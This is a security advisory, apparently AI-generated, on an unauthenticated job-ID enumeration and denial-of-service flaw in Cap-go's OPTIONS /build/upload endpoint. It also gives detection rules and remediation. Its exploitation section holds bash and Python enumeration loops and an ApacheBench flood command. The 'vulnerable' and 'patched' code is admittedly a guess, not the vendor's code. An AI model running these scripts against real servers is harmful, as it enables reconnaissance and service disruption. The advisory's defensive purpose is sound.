CVE-2026-56316

Executive Summary

CVE-2026-56316 is an information disclosure vulnerability in Cap-go, a continuous delivery and deployment tool. The vulnerability resides in the OPTIONS /build/upload/:jobId/* endpoint, which allows unauthenticated attackers to enumerate valid builder job IDs. By observing response discrepancies (e.g., HTTP status codes, response headers, or body content), an attacker can distinguish between valid and invalid job IDs without authentication. This information leakage can be used to map the attack surface and, combined with other vulnerabilities, could lead to more targeted attacks. Additionally, the endpoint can be abused to generate sustained unauthenticated traffic, potentially leading to resource exhaustion (denial of service). The vendor has released version 12.128.2 to address this issue.

Supply Chain & Package Security

Cap-go is a Go-based application. The vulnerability does not directly affect the Go package ecosystem, but organizations using Cap-go as part of their CI/CD pipeline should treat this as a critical supply chain risk. An attacker who enumerates valid job IDs could potentially target specific builds or deployments, leading to further compromise of the software delivery pipeline.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – The attacker can only enumerate valid job IDs, not access the build artifacts themselves.
• Integrity (I): None – No data modification is possible.
• Availability (A): Low – The endpoint can be abused for resource consumption, potentially causing denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but has limited direct impact. However, it can be a stepping stone for more severe attacks.

Deep Dive & Mechanics

The vulnerability is a classic example of CWE-204: Observable Response Discrepancy. The OPTIONS /build/upload/:jobId/* endpoint in Cap-go returns different responses depending on whether the :jobId parameter corresponds to an existing builder job.

How it works:

1. Unauthenticated Access: The endpoint does not require any authentication or authorization checks.
2. Response Discrepancy: When an attacker sends an OPTIONS request with a valid job ID, the server responds with a specific set of allowed HTTP methods (e.g., Allow: OPTIONS, POST) and possibly a different status code (e.g., 200 OK). For an invalid job ID, the server might return a 404 Not Found or a different set of allowed methods (e.g., Allow: OPTIONS).
3. Enumeration: By iterating through possible job IDs (e.g., UUIDs, sequential numbers, or predictable patterns), an attacker can build a list of valid job IDs.
4. Resource Consumption: The endpoint can be repeatedly called without authentication, allowing an attacker to generate a high volume of requests, potentially exhausting server resources (CPU, memory, network bandwidth).

Attack Scenario:

• An attacker discovers a Cap-go instance exposed to the internet.
• They write a script that sends OPTIONS requests to /build/upload/1, /build/upload/2, etc.
• The script records which IDs return a 200 OK with a specific Allow header.
• The attacker now has a list of valid job IDs.
• They can then use these IDs to target specific builds (e.g., by exploiting other vulnerabilities) or simply flood the endpoint to cause a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (before 12.128.2): The vulnerable code likely does not validate the :jobId parameter against an authenticated session or does not return a consistent response for invalid IDs.

// Vulnerable handler (simplified)
func handleBuildUpload(w http.ResponseWriter, r *http.Request) {
    jobID := chi.URLParam(r, "jobId")
    // No authentication check
    // Directly queries the database or in-memory store
    job, err := store.GetJob(jobID)
    if err != nil {
        // Returns 404 for invalid IDs
        http.Error(w, "Not Found", http.StatusNotFound)
        return
    }
    // Returns 200 with Allow header for valid IDs
    w.Header().Set("Allow", "OPTIONS, POST")
    w.WriteHeader(http.StatusOK)
}

Patched Code (12.128.2): The patched version likely adds authentication checks and/or returns a consistent response for both valid and invalid job IDs.

// Patched handler (simplified)
func handleBuildUpload(w http.ResponseWriter, r *http.Request) {
    // Require authentication first
    user, err := authenticate(r)
    if err != nil {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }
    jobID := chi.URLParam(r, "jobId")
    // Check if the user has access to this job
    if !user.HasAccess(jobID) {
        // Return a generic error to avoid enumeration
        http.Error(w, "Forbidden", http.StatusForbidden)
        return
    }
    // Proceed with the request
    w.Header().Set("Allow", "OPTIONS, POST")
    w.WriteHeader(http.StatusOK)
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Cap-go instance (version < 12.128.2) in a Docker container.
2. Create a few sample builder jobs with known IDs (e.g., job-001, job-002).
3. Expose the instance on a local network.

Exploitation Steps:

1. Enumerate Job IDs: Use a simple bash script or Python to send OPTIONS requests and observe responses.

   #!/bin/bash
   for id in $(seq 1 100); do
       response=$(curl -s -o /dev/null -w "%{http_code}" -X OPTIONS "http://target:8080/build/upload/job-$id/")
       if [ "$response" == "200" ]; then
           echo "Valid job ID: job-$id"
       fi
   done
   

   import requests
   
   for i in range(1, 101):
       job_id = f"job-{i:03d}"
       r = requests.options(f"http://target:8080/build/upload/{job_id}/")
       if r.status_code == 200:
           print(f"Valid job ID: {job_id}")
   

2. Resource Exhaustion: Use a tool like ab (ApacheBench) or wrk to generate sustained traffic.

   ab -n 10000 -c 100 -m OPTIONS "http://target:8080/build/upload/job-001/"
   

Blue Team (Defensive)

Detection:

• Monitor for a high volume of OPTIONS requests to /build/upload/* from a single IP.
• Look for patterns of sequential or random job ID probing.
• Alert on any OPTIONS request to this endpoint from unauthenticated users.

Mitigation:

• Immediately upgrade to Cap-go 12.128.2 or later.
• If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block or rate-limit OPTIONS requests to /build/upload/* from unauthenticated sources.
• Restrict network access to the Cap-go instance to trusted IPs only.

Indicators of Compromise (IOCs)

• Network Traffic:

  • High volume of OPTIONS requests to /build/upload/* endpoints.
  • Requests with sequential or predictable job IDs (e.g., 1, 2, 3 or job-001, job-002).
  • Responses with Allow: OPTIONS, POST header for valid IDs and Allow: OPTIONS or 404 for invalid IDs.

• Log Entries:

  • Repeated OPTIONS requests to /build/upload/* from the same source IP.
  • HTTP status code 200 for OPTIONS requests to /build/upload/* from unauthenticated users.

• System Impact:

  • Increased CPU or memory usage on the Cap-go server.
  • Denial of service symptoms (slow response times, connection timeouts).

Detection Engineering

YARA Rule

rule CVE_2026_56316_Cap_go_Enumeration {
    meta:
        description = "Detects attempts to enumerate Cap-go builder job IDs via OPTIONS requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-56316"
        hash = "unknown"
    strings:
        $method = "OPTIONS"
        $path = "/build/upload/"
        $allow_header = "Allow: OPTIONS, POST"
    condition:
        $method and $path and $allow_header
}

Sigma Rule

title: Cap-go Job ID Enumeration via OPTIONS Request
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated OPTIONS requests to /build/upload/ endpoint, indicating potential job ID enumeration.
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56316
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'OPTIONS'
        cs-uri-stem|startswith: '/build/upload/'
    condition: selection
falsepositives:
    - Legitimate monitoring tools
    - Internal health checks
level: medium
tags:
    - attack.reconnaissance
    - attack.t1589

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56316 Cap-go Job ID Enumeration"; flow:to_server; http.method; content:"OPTIONS"; http.uri; content:"/build/upload/"; startswith; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Cap-go to version 12.128.2 or later. This is the only complete fix.
2. WAF Rule: If immediate patching is not possible, deploy a WAF rule to block or rate-limit OPTIONS requests to /build/upload/* from unauthenticated sources.
3. Network Segmentation: Restrict access to the Cap-go instance to trusted internal networks only. Do not expose it directly to the internet.

Long-term Measures:

1. Authentication: Ensure all endpoints that expose sensitive information (like job IDs) require authentication.
2. Consistent Error Responses: Implement generic error responses for both valid and invalid requests to prevent information leakage.
3. Rate Limiting: Implement rate limiting on all API endpoints to mitigate resource exhaustion attacks.
4. Monitoring: Set up alerts for unusual patterns of OPTIONS requests to the /build/upload/ endpoint.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.